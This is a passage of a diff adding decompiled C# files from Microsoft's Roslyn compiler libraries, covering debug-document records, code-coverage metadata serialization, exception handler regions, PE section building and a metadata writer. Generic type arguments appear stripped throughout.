methodBody) + { + return false; + } + if (context.Module.GenerateVisualBasicStylePdb && _pdbWriter.GetOrCreateSerializedNamespaceName(_previousMethodBodyWithUsingInfo.MethodDefinition.ContainingNamespace) != _pdbWriter.GetOrCreateSerializedNamespaceName(methodBody.MethodDefinition.ContainingNamespace)) + { + return false; + } + IImportScope importScope = _previousMethodBodyWithUsingInfo.ImportScope; + if (methodBody.ImportScope == importScope) + { + return true; + } + IImportScope importScope2 = methodBody.ImportScope; + IImportScope importScope3 = importScope; + while (importScope2 != null && importScope3 != null) + { + if (!importScope2.GetUsedNamespaces(context).SequenceEqual(importScope3.GetUsedNamespaces(context))) + { + return false; + } + importScope2 = importScope2.Parent; + importScope3 = importScope3.Parent; + } + return importScope2 == importScope3; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DebugSourceDocument.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DebugSourceDocument.cs new file mode 100644 index 0000000..6c45aed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DebugSourceDocument.cs @@ -0,0 +1,58 @@ +using System; +using System.Collections.Immutable; +using System.Threading.Tasks; + +namespace Microsoft.Cci; + +internal sealed class DebugSourceDocument +{ + internal static readonly Guid CorSymLanguageTypeCSharp = new Guid("{3f5162f8-07c6-11d3-9053-00c04fa302a1}"); + + internal static readonly Guid CorSymLanguageTypeBasic = new Guid("{3a12d0b8-c26c-11d0-b442-00a0244a1dd2}"); + + private static readonly Guid s_corSymLanguageVendorMicrosoft = new Guid("{994b45c4-e6e9-11d2-903f-00c04fa302a1}"); + + private static readonly Guid s_corSymDocumentTypeText = new Guid("{5a869d0b-6611-11d3-bd2a-0000f80849bd}"); + + private readonly string _location; + + private readonly Guid _language; + + private readonly bool _isComputedChecksum; + + private readonly Task? _sourceInfo; + + public Guid DocumentType => s_corSymDocumentTypeText; + + public Guid Language => _language; + + public Guid LanguageVendor => s_corSymLanguageVendorMicrosoft; + + public string Location => _location; + + internal bool IsComputedChecksum => _isComputedChecksum; + + public DebugSourceDocument(string location, Guid language) + { + _location = location; + _language = language; + } + + public DebugSourceDocument(string location, Guid language, Func sourceInfo) + : this(location, language) + { + _sourceInfo = Task.Run(sourceInfo); + _isComputedChecksum = true; + } + + public DebugSourceDocument(string location, Guid language, ImmutableArray checksum, Guid algorithm) + : this(location, language) + { + _sourceInfo = Task.FromResult(new DebugSourceInfo(checksum, algorithm)); + } + + public DebugSourceInfo GetSourceInfo() + { + return _sourceInfo?.Result ?? default(DebugSourceInfo); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DebugSourceInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DebugSourceInfo.cs new file mode 100644 index 0000000..def17b3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DebugSourceInfo.cs @@ -0,0 +1,26 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.Cci; + +internal readonly struct DebugSourceInfo +{ + public readonly Guid ChecksumAlgorithmId; + + public readonly ImmutableArray Checksum; + + public readonly ImmutableArray EmbeddedTextBlob; + + public DebugSourceInfo(ImmutableArray checksum, SourceHashAlgorithm checksumAlgorithm, ImmutableArray embeddedTextBlob = default(ImmutableArray)) + : this(checksum, SourceHashAlgorithms.GetAlgorithmGuid(checksumAlgorithm), embeddedTextBlob) + { + } + + public DebugSourceInfo(ImmutableArray checksum, Guid checksumAlgorithmId, ImmutableArray embeddedTextBlob = default(ImmutableArray)) + { + ChecksumAlgorithmId = checksumAlgorithmId; + Checksum = checksum; + EmbeddedTextBlob = embeddedTextBlob; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DefinitionWithLocation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DefinitionWithLocation.cs new file mode 100644 index 0000000..c732f53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DefinitionWithLocation.cs @@ -0,0 +1,50 @@ +using System; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +[DebuggerDisplay("{GetDebuggerDisplay(),nq}")] +internal readonly struct DefinitionWithLocation(IDefinition definition, int startLine, int startColumn, int endLine, int endColumn) : IEquatable +{ + public readonly IDefinition Definition = definition; + + public readonly int StartLine = startLine; + + public readonly int StartColumn = startColumn; + + public readonly int EndLine = endLine; + + public readonly int EndColumn = endColumn; + + private string GetDebuggerDisplay() + { + return string.Format("{0} => ({1},{2}) - ({3}, {4})", new object[5] { Definition, StartLine, StartColumn, EndLine, EndColumn }); + } + + public override bool Equals(object? obj) + { + if (obj is DefinitionWithLocation other) + { + return Equals(other); + } + return false; + } + + public bool Equals(DefinitionWithLocation other) + { + if (Definition == other.Definition && StartLine == other.StartLine && StartColumn == other.StartColumn && EndLine == other.EndLine) + { + return EndColumn == other.EndColumn; + } + return false; + } + + public override int GetHashCode() + { + int hashCode = RuntimeHelpers.GetHashCode(Definition); + int startLine = StartLine; + return Hash.Combine(hashCode, startLine.GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DynamicAnalysisDataWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DynamicAnalysisDataWriter.cs new file mode 100644 index 0000000..cc5478e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/DynamicAnalysisDataWriter.cs @@ -0,0 +1,280 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Collections; + +namespace Microsoft.Cci; + +internal class DynamicAnalysisDataWriter +{ + private struct DocumentRow + { + public BlobHandle Name; + + public GuidHandle HashAlgorithm; + + public BlobHandle Hash; + } + + private struct MethodRow + { + public BlobHandle Spans; + } + + private readonly struct Sizes(int blobHeapSize, int guidHeapSize) + { + public readonly int BlobHeapSize = blobHeapSize; + + public readonly int GuidHeapSize = guidHeapSize; + + public readonly int BlobIndexSize = ((blobHeapSize <= 65535) ? 2 : 4); + + public readonly int GuidIndexSize = ((guidHeapSize <= 65535) ? 2 : 4); + } + + private readonly Dictionary, BlobHandle> _blobs; + + private int _blobHeapSize; + + private readonly Dictionary _guids; + + private readonly BlobBuilder _guidWriter; + + private readonly List _documentTable; + + private readonly List _methodTable; + + private readonly Dictionary _documentIndex; + + private static readonly char[] s_separator1 = new char[1] { '/' }; + + private static readonly char[] s_separator2 = new char[1] { '\\' }; + + public DynamicAnalysisDataWriter(int documentCountEstimate, int methodCountEstimate) + { + _blobs = new Dictionary, BlobHandle>(1 + methodCountEstimate + 4 * documentCountEstimate, ByteSequenceComparer.Instance); + _guids = new Dictionary(documentCountEstimate); + _guidWriter = new BlobBuilder(16 * documentCountEstimate); + _documentTable = new List(documentCountEstimate); + _documentIndex = new Dictionary(documentCountEstimate); + _methodTable = new List(methodCountEstimate); + _blobs.Add(ImmutableArray.Empty, default(BlobHandle)); + _blobHeapSize = 1; + } + + internal void SerializeMethodCodeCoverageData(IMethodBody? body) + { + ImmutableArray spans = body?.CodeCoverageSpans ?? ImmutableArray.Empty; + BlobHandle spans2 = SerializeSpans(spans, _documentIndex); + _methodTable.Add(new MethodRow + { + Spans = spans2 + }); + } + + private BlobHandle GetOrAddBlob(BlobBuilder builder) + { + return GetOrAddBlob(builder.ToImmutableArray()); + } + + private BlobHandle GetOrAddBlob(ImmutableArray blob) + { + if (!_blobs.TryGetValue(blob, out var value)) + { + value = MetadataTokens.BlobHandle(_blobHeapSize); + _blobs.Add(blob, value); + _blobHeapSize += GetCompressedIntegerLength(blob.Length) + blob.Length; + } + return value; + } + + private static int GetCompressedIntegerLength(int length) + { + if (length > 127) + { + if (length > 16383) + { + return 4; + } + return 2; + } + return 1; + } + + private GuidHandle GetOrAddGuid(Guid guid) + { + if (guid == Guid.Empty) + { + return default(GuidHandle); + } + if (_guids.TryGetValue(guid, out var value)) + { + return value; + } + value = MetadataTokens.GuidHandle((_guidWriter.Count >> 4) + 1); + _guids.Add(guid, value); + _guidWriter.WriteBytes(guid.ToByteArray()); + return value; + } + + private BlobHandle SerializeSpans(ImmutableArray spans, Dictionary documentIndex) + { + if (spans.Length == 0) + { + return default(BlobHandle); + } + BlobBuilder blobBuilder = new BlobBuilder(4 + spans.Length * 4); + int num = -1; + int num2 = -1; + DebugSourceDocument debugSourceDocument = spans[0].Document; + blobBuilder.WriteCompressedInteger(GetOrAddDocument(debugSourceDocument, documentIndex)); + for (int i = 0; i < spans.Length; i++) + { + DebugSourceDocument document = spans[i].Document; + if (debugSourceDocument != document) + { + blobBuilder.WriteInt16(0); + blobBuilder.WriteCompressedInteger(GetOrAddDocument(document, documentIndex)); + debugSourceDocument = document; + } + SerializeDeltaLinesAndColumns(blobBuilder, spans[i]); + if (num < 0) + { + blobBuilder.WriteCompressedInteger(spans[i].StartLine); + blobBuilder.WriteCompressedInteger(spans[i].StartColumn); + } + else + { + blobBuilder.WriteCompressedSignedInteger(spans[i].StartLine - num); + blobBuilder.WriteCompressedSignedInteger(spans[i].StartColumn - num2); + } + num = spans[i].StartLine; + num2 = spans[i].StartColumn; + } + return GetOrAddBlob(blobBuilder); + } + + private void SerializeDeltaLinesAndColumns(BlobBuilder writer, SourceSpan span) + { + int num = span.EndLine - span.StartLine; + int value = span.EndColumn - span.StartColumn; + writer.WriteCompressedInteger(num); + if (num == 0) + { + writer.WriteCompressedInteger(value); + } + else + { + writer.WriteCompressedSignedInteger(value); + } + } + + internal int GetOrAddDocument(DebugSourceDocument document) + { + return GetOrAddDocument(document, _documentIndex); + } + + private int GetOrAddDocument(DebugSourceDocument document, Dictionary index) + { + if (!index.TryGetValue(document, out var value)) + { + value = _documentTable.Count + 1; + index.Add(document, value); + DebugSourceInfo sourceInfo = document.GetSourceInfo(); + _documentTable.Add(new DocumentRow + { + Name = SerializeDocumentName(document.Location), + HashAlgorithm = (sourceInfo.Checksum.IsDefault ? default(GuidHandle) : GetOrAddGuid(sourceInfo.ChecksumAlgorithmId)), + Hash = (sourceInfo.Checksum.IsDefault ? default(BlobHandle) : GetOrAddBlob(sourceInfo.Checksum)) + }); + } + return value; + } + + private BlobHandle SerializeDocumentName(string name) + { + int num = Count(name, s_separator1[0]); + int num2 = Count(name, s_separator2[0]); + char[] array = ((num >= num2) ? s_separator1 : s_separator2); + BlobBuilder blobBuilder = new BlobBuilder(1 + Math.Max(num, num2) * 2); + blobBuilder.WriteByte((byte)array[0]); + string[] array2 = name.Split(array); + foreach (string s in array2) + { + BlobHandle orAddBlob = GetOrAddBlob(ImmutableArray.Create(MetadataWriter.s_utf8Encoding.GetBytes(s))); + blobBuilder.WriteCompressedInteger(MetadataTokens.GetHeapOffset(orAddBlob)); + } + return GetOrAddBlob(blobBuilder); + } + + private static int Count(string str, char c) + { + int num = 0; + for (int i = 0; i < str.Length; i++) + { + if (str[i] == c) + { + num++; + } + } + return num; + } + + internal void SerializeMetadataTables(BlobBuilder writer) + { + Sizes sizes = new Sizes(_blobHeapSize, _guidWriter.Count); + SerializeHeader(writer, sizes); + SerializeDocumentTable(writer, sizes); + SerializeMethodTable(writer, sizes); + writer.LinkSuffix(_guidWriter); + WriteBlobHeap(writer); + } + + private void WriteBlobHeap(BlobBuilder builder) + { + BlobWriter blobWriter = new BlobWriter(builder.ReserveBytes(_blobHeapSize)); + foreach (KeyValuePair, BlobHandle> blob in _blobs) + { + int heapOffset = MetadataTokens.GetHeapOffset(blob.Value); + ImmutableArray key = blob.Key; + blobWriter.Offset = heapOffset; + blobWriter.WriteCompressedInteger(key.Length); + blobWriter.WriteBytes(key); + } + } + + private void SerializeHeader(BlobBuilder writer, Sizes sizes) + { + writer.WriteByte(68); + writer.WriteByte(65); + writer.WriteByte(77); + writer.WriteByte(68); + writer.WriteByte(0); + writer.WriteByte(2); + writer.WriteInt32(_documentTable.Count); + writer.WriteInt32(_methodTable.Count); + writer.WriteInt32(sizes.GuidHeapSize); + writer.WriteInt32(sizes.BlobHeapSize); + } + + private void SerializeDocumentTable(BlobBuilder writer, Sizes sizes) + { + foreach (DocumentRow item in _documentTable) + { + writer.WriteReference(MetadataTokens.GetHeapOffset(item.Name), sizes.BlobIndexSize == 2); + writer.WriteReference(MetadataTokens.GetHeapOffset(item.HashAlgorithm), sizes.GuidIndexSize == 2); + writer.WriteReference(MetadataTokens.GetHeapOffset(item.Hash), sizes.BlobIndexSize == 2); + } + } + + private void SerializeMethodTable(BlobBuilder writer, Sizes sizes) + { + foreach (MethodRow item in _methodTable) + { + writer.WriteReference(MetadataTokens.GetHeapOffset(item.Spans), sizes.BlobIndexSize == 2); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegion.cs new file mode 100644 index 0000000..53d58b4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegion.cs @@ -0,0 +1,32 @@ +using System.Reflection.Metadata; + +namespace Microsoft.Cci; + +internal abstract class ExceptionHandlerRegion +{ + public int TryStartOffset { get; } + + public int TryEndOffset { get; } + + public int HandlerStartOffset { get; } + + public int HandlerEndOffset { get; } + + public int HandlerLength => HandlerEndOffset - HandlerStartOffset; + + public int TryLength => TryEndOffset - TryStartOffset; + + public abstract ExceptionRegionKind HandlerKind { get; } + + public virtual ITypeReference? ExceptionType => null; + + public virtual int FilterDecisionStartOffset => 0; + + public ExceptionHandlerRegion(int tryStartOffset, int tryEndOffset, int handlerStartOffset, int handlerEndOffset) + { + TryStartOffset = tryStartOffset; + TryEndOffset = tryEndOffset; + HandlerStartOffset = handlerStartOffset; + HandlerEndOffset = handlerEndOffset; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionCatch.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionCatch.cs new file mode 100644 index 0000000..f5f45ea --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionCatch.cs @@ -0,0 +1,18 @@ +using System.Reflection.Metadata; + +namespace Microsoft.Cci; + +internal sealed class ExceptionHandlerRegionCatch : ExceptionHandlerRegion +{ + private readonly ITypeReference _exceptionType; + + public override ExceptionRegionKind HandlerKind => ExceptionRegionKind.Catch; + + public override ITypeReference ExceptionType => _exceptionType; + + public ExceptionHandlerRegionCatch(int tryStartOffset, int tryEndOffset, int handlerStartOffset, int handlerEndOffset, ITypeReference exceptionType) + : base(tryStartOffset, tryEndOffset, handlerStartOffset, handlerEndOffset) + { + _exceptionType = exceptionType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFault.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFault.cs new file mode 100644 index 0000000..0982c30 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFault.cs @@ -0,0 +1,13 @@ +using System.Reflection.Metadata; + +namespace Microsoft.Cci; + +internal sealed class ExceptionHandlerRegionFault : ExceptionHandlerRegion +{ + public override ExceptionRegionKind HandlerKind => ExceptionRegionKind.Fault; + + public ExceptionHandlerRegionFault(int tryStartOffset, int tryEndOffset, int handlerStartOffset, int handlerEndOffset) + : base(tryStartOffset, tryEndOffset, handlerStartOffset, handlerEndOffset) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFilter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFilter.cs new file mode 100644 index 0000000..6c8c5d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFilter.cs @@ -0,0 +1,18 @@ +using System.Reflection.Metadata; + +namespace Microsoft.Cci; + +internal sealed class ExceptionHandlerRegionFilter : ExceptionHandlerRegion +{ + private readonly int _filterDecisionStartOffset; + + public override ExceptionRegionKind HandlerKind => ExceptionRegionKind.Filter; + + public override int FilterDecisionStartOffset => _filterDecisionStartOffset; + + public ExceptionHandlerRegionFilter(int tryStartOffset, int tryEndOffset, int handlerStartOffset, int handlerEndOffset, int filterDecisionStartOffset) + : base(tryStartOffset, tryEndOffset, handlerStartOffset, handlerEndOffset) + { + _filterDecisionStartOffset = filterDecisionStartOffset; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFinally.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFinally.cs new file mode 100644 index 0000000..112d1e9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExceptionHandlerRegionFinally.cs @@ -0,0 +1,13 @@ +using System.Reflection.Metadata; + +namespace Microsoft.Cci; + +internal sealed class ExceptionHandlerRegionFinally : ExceptionHandlerRegion +{ + public override ExceptionRegionKind HandlerKind => ExceptionRegionKind.Finally; + + public ExceptionHandlerRegionFinally(int tryStartOffset, int tryEndOffset, int handlerStartOffset, int handlerEndOffset) + : base(tryStartOffset, tryEndOffset, handlerStartOffset, handlerEndOffset) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExportedType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExportedType.cs new file mode 100644 index 0000000..e8c0384 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExportedType.cs @@ -0,0 +1,10 @@ +namespace Microsoft.Cci; + +internal readonly struct ExportedType(ITypeReference type, int parentIndex, bool isForwarder) +{ + public readonly ITypeReference Type = type; + + public readonly bool IsForwarder = isForwarder; + + public readonly int ParentIndex = parentIndex; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExtendedPEBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExtendedPEBuilder.cs new file mode 100644 index 0000000..4160620 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/ExtendedPEBuilder.cs @@ -0,0 +1,63 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Reflection.PortableExecutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.Cci; + +internal sealed class ExtendedPEBuilder : ManagedPEBuilder +{ + private const string MvidSectionName = ".mvid"; + + public const int SizeOfGuid = 16; + + private Blob _mvidSectionFixup; + + private readonly bool _withMvidSection; + + public ExtendedPEBuilder(PEHeaderBuilder header, MetadataRootBuilder metadataRootBuilder, BlobBuilder ilStream, BlobBuilder mappedFieldData, BlobBuilder managedResources, ResourceSectionBuilder nativeResources, DebugDirectoryBuilder debugDirectoryBuilder, int strongNameSignatureSize, MethodDefinitionHandle entryPoint, CorFlags flags, Func, BlobContentId> deterministicIdProvider, bool withMvidSection) + : base(header, metadataRootBuilder, ilStream, mappedFieldData, managedResources, nativeResources, debugDirectoryBuilder, strongNameSignatureSize, entryPoint, flags, deterministicIdProvider) + { + _withMvidSection = withMvidSection; + } + + protected override ImmutableArray
CreateSections() + { + ImmutableArray
immutableArray = base.CreateSections(); + if (_withMvidSection) + { + ArrayBuilder
instance = ArrayBuilder
.GetInstance(immutableArray.Length + 1); + instance.Add(new Section(".mvid", SectionCharacteristics.ContainsInitializedData | SectionCharacteristics.MemDiscardable | SectionCharacteristics.MemRead)); + instance.AddRange(immutableArray); + return instance.ToImmutableAndFree(); + } + return immutableArray; + } + + protected override BlobBuilder SerializeSection(string name, SectionLocation location) + { + if (name.Equals(".mvid", StringComparison.Ordinal)) + { + return SerializeMvidSection(); + } + return base.SerializeSection(name, location); + } + + internal BlobContentId Serialize(BlobBuilder peBlob, out Blob mvidSectionFixup) + { + BlobContentId result = Serialize(peBlob); + mvidSectionFixup = _mvidSectionFixup; + return result; + } + + private BlobBuilder SerializeMvidSection() + { + BlobBuilder blobBuilder = new BlobBuilder(); + _mvidSectionFixup = blobBuilder.ReserveBytes(16); + new BlobWriter(_mvidSectionFixup).WriteBytes(0, _mvidSectionFixup.Length); + return blobBuilder; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/Extensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/Extensions.cs new file mode 100644 index 0000000..ad21861 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/Extensions.cs @@ -0,0 +1,58 @@ +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.Cci; + +internal static class Extensions +{ + internal static bool HasBody(this IMethodDefinition methodDef) + { + if (!methodDef.IsAbstract && !methodDef.IsExternal) + { + if (methodDef.ContainingTypeDefinition != null) + { + return !methodDef.ContainingTypeDefinition.IsComObject; + } + return true; + } + return false; + } + + public static bool ShouldInclude(this ITypeDefinitionMember member, EmitContext context) + { + if (context.IncludePrivateMembers) + { + return true; + } + IMethodDefinition methodDefinition = member as IMethodDefinition; + if (methodDefinition != null && methodDefinition.IsVirtual) + { + return true; + } + bool flag = true; + switch (member.Visibility) + { + case TypeMemberVisibility.Private: + flag = context.IncludePrivateMembers; + break; + case TypeMemberVisibility.FamilyAndAssembly: + case TypeMemberVisibility.Assembly: + flag = context.IncludePrivateMembers || (context.Module.SourceAssemblyOpt?.InternalsAreVisible ?? false); + break; + } + if (flag) + { + return true; + } + if (methodDefinition != null && methodDefinition.IsStatic) + { + foreach (MethodImplementation explicitImplementationOverride in methodDefinition.ContainingTypeDefinition.GetExplicitImplementationOverrides(context)) + { + if (explicitImplementationOverride.ImplementingMethod == methodDefinition) + { + return true; + } + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/FullMetadataWriter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/FullMetadataWriter.cs new file mode 100644 index 0000000..32829e0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.Cci/FullMetadataWriter.cs @@ -0,0 +1,403 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Threading; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.Emit; +using Roslyn.Utilities; + +namespace Microsoft.Cci; + +internal sealed class FullMetadataWriter : MetadataWriter +{ + private sealed class FullReferenceIndexer : ReferenceIndexer + { + internal FullReferenceIndexer(MetadataWriter metadataWriter) + : base(metadataWriter) + { + } + } + + private readonly struct DefinitionIndex(int capacity) where T : class, IReference + { + private readonly Dictionary _index = new Dictionary(capacity, Roslyn.Utilities.ReferenceEqualityComparer.Instance); + + private readonly List _rows = new List(capacity); + + public int this[T item] => _index[item]; + + public T this[int rowId] => _rows[rowId - 1]; + + public IReadOnlyList Rows => _rows; + + public int NextRowId => _rows.Count + 1; + + public bool TryGetValue(T item, out int rowId) + { + return _index.TryGetValue(item, out rowId); + } + + public void Add(T item) + { + _index.Add(item, NextRowId); + _rows.Add(item); + } + } + + private readonly DefinitionIndex _typeDefs; + + private readonly DefinitionIndex _eventDefs; + + private readonly DefinitionIndex _fieldDefs; + + private readonly DefinitionIndex _methodDefs; + + private readonly DefinitionIndex _propertyDefs; + + private readonly DefinitionIndex _parameterDefs; + + private readonly DefinitionIndex _genericParameters; + + private readonly Dictionary _fieldDefIndex; + + private readonly Dictionary _methodDefIndex; + + private readonly Dictionary _parameterListIndex; + + private readonly HeapOrReferenceIndex _assemblyRefIndex; + + private readonly HeapOrReferenceIndex _moduleRefIndex; + + private readonly InstanceAndStructuralReferenceIndex _memberRefIndex; + + private readonly InstanceAndStructuralReferenceIndex _methodSpecIndex; + + private readonly TypeReferenceIndex _typeRefIndex; + + private readonly InstanceAndStructuralReferenceIndex _typeSpecIndex; + + private readonly HeapOrReferenceIndex _standAloneSignatureIndex; + + protected override ushort Generation => 0; + + protected override Guid EncId => Guid.Empty; + + protected override Guid EncBaseId => Guid.Empty; + + protected override int GreatestMethodDefIndex => _methodDefs.NextRowId; + + public static MetadataWriter Create(EmitContext context, CommonMessageProvider messageProvider, bool metadataOnly, bool deterministic, bool emitTestCoverageData, bool hasPdbStream, CancellationToken cancellationToken) + { + MetadataBuilder builder = new MetadataBuilder(); + MetadataBuilder debugBuilderOpt = context.Module.DebugInformationFormat switch + { + DebugInformationFormat.PortablePdb => hasPdbStream ? new MetadataBuilder() : null, + DebugInformationFormat.Embedded => metadataOnly ? null : new MetadataBuilder(), + _ => null, + }; + DynamicAnalysisDataWriter dynamicAnalysisDataWriterOpt = (emitTestCoverageData ? new DynamicAnalysisDataWriter(context.Module.DebugDocumentCount, context.Module.HintNumberOfMethodDefinitions) : null); + return new FullMetadataWriter(context, builder, debugBuilderOpt, dynamicAnalysisDataWriterOpt, messageProvider, metadataOnly, deterministic, emitTestCoverageData, cancellationToken); + } + + private FullMetadataWriter(EmitContext context, MetadataBuilder builder, MetadataBuilder? debugBuilderOpt, DynamicAnalysisDataWriter? dynamicAnalysisDataWriterOpt, CommonMessageProvider messageProvider, bool metadataOnly, bool deterministic, bool emitTestCoverageData, CancellationToken cancellationToken) + : base(builder, debugBuilderOpt, dynamicAnalysisDataWriterOpt, context, messageProvider, metadataOnly, deterministic, emitTestCoverageData, cancellationToken) + { + int hintNumberOfMethodDefinitions = module.HintNumberOfMethodDefinitions; + int num = hintNumberOfMethodDefinitions / 6; + int capacity = num * 4; + int capacity2 = hintNumberOfMethodDefinitions / 4; + _typeDefs = new DefinitionIndex(num); + _eventDefs = new DefinitionIndex(0); + _fieldDefs = new DefinitionIndex(capacity); + _methodDefs = new DefinitionIndex(hintNumberOfMethodDefinitions); + _propertyDefs = new DefinitionIndex(capacity2); + _parameterDefs = new DefinitionIndex(hintNumberOfMethodDefinitions); + _genericParameters = new DefinitionIndex(0); + _fieldDefIndex = new Dictionary(num, Roslyn.Utilities.ReferenceEqualityComparer.Instance); + _methodDefIndex = new Dictionary(num, Roslyn.Utilities.ReferenceEqualityComparer.Instance); + _parameterListIndex = new Dictionary(hintNumberOfMethodDefinitions, Roslyn.Utilities.ReferenceEqualityComparer.Instance); + _assemblyRefIndex = new HeapOrReferenceIndex(this); + _moduleRefIndex = new HeapOrReferenceIndex(this); + _memberRefIndex = new InstanceAndStructuralReferenceIndex(this, new MemberRefComparer(this)); + _methodSpecIndex = new InstanceAndStructuralReferenceIndex(this, new MethodSpecComparer(this)); + _typeRefIndex = new TypeReferenceIndex(this); + _typeSpecIndex = new InstanceAndStructuralReferenceIndex(this, new TypeSpecComparer(this)); + _standAloneSignatureIndex = new HeapOrReferenceIndex(this); + } + + protected override bool TryGetTypeDefinitionHandle(ITypeDefinition def, out TypeDefinitionHandle handle) + { + int rowId; + bool result = _typeDefs.TryGetValue(def, out rowId); + handle = MetadataTokens.TypeDefinitionHandle(rowId); + return result; + } + + protected override TypeDefinitionHandle GetTypeDefinitionHandle(ITypeDefinition def) + { + return MetadataTokens.TypeDefinitionHandle(_typeDefs[def]); + } + + protected override ITypeDefinition GetTypeDef(TypeDefinitionHandle handle) + { + return _typeDefs[MetadataTokens.GetRowNumber(handle)]; + } + + protected override IReadOnlyList GetTypeDefs() + { + return _typeDefs.Rows; + } + + protected override EventDefinitionHandle GetEventDefinitionHandle(IEventDefinition def) + { + return MetadataTokens.EventDefinitionHandle(_eventDefs[def]); + } + + protected override IReadOnlyList GetEventDefs() + { + return _eventDefs.Rows; + } + + protected override FieldDefinitionHandle GetFieldDefinitionHandle(IFieldDefinition def) + { + return MetadataTokens.FieldDefinitionHandle(_fieldDefs[def]); + } + + protected override IReadOnlyList GetFieldDefs() + { + return _fieldDefs.Rows; + } + + protected override bool TryGetMethodDefinitionHandle(IMethodDefinition def, out MethodDefinitionHandle handle) + { + int rowId; + bool result = _methodDefs.TryGetValue(def, out rowId); + handle = MetadataTokens.MethodDefinitionHandle(rowId); + return result; + } + + protected override MethodDefinitionHandle GetMethodDefinitionHandle(IMethodDefinition def) + { + return MetadataTokens.MethodDefinitionHandle(_methodDefs[def]); + } + + protected override IMethodDefinition GetMethodDef(MethodDefinitionHandle handle) + { + return _methodDefs[MetadataTokens.GetRowNumber(handle)]; + } + + protected override IReadOnlyList GetMethodDefs() + { + return _methodDefs.Rows; + } + + protected override PropertyDefinitionHandle GetPropertyDefIndex(IPropertyDefinition def) + { + return MetadataTokens.PropertyDefinitionHandle(_propertyDefs[def]); + } + + protected override IReadOnlyList GetPropertyDefs() + { + return _propertyDefs.Rows; + } + + protected override ParameterHandle GetParameterHandle(IParameterDefinition def) + { + return MetadataTokens.ParameterHandle(_parameterDefs[def]); + } + + protected override IReadOnlyList GetParameterDefs() + { + return _parameterDefs.Rows; + } + + protected override IReadOnlyList GetGenericParameters() + { + return _genericParameters.Rows; + } + + protected override FieldDefinitionHandle GetFirstFieldDefinitionHandle(INamedTypeDefinition typeDef) + { + return MetadataTokens.FieldDefinitionHandle(_fieldDefIndex[typeDef]); + } + + protected override MethodDefinitionHandle GetFirstMethodDefinitionHandle(INamedTypeDefinition typeDef) + { + return MetadataTokens.MethodDefinitionHandle(_methodDefIndex[typeDef]); + } + + protected override ParameterHandle GetFirstParameterHandle(IMethodDefinition methodDef) + { + return 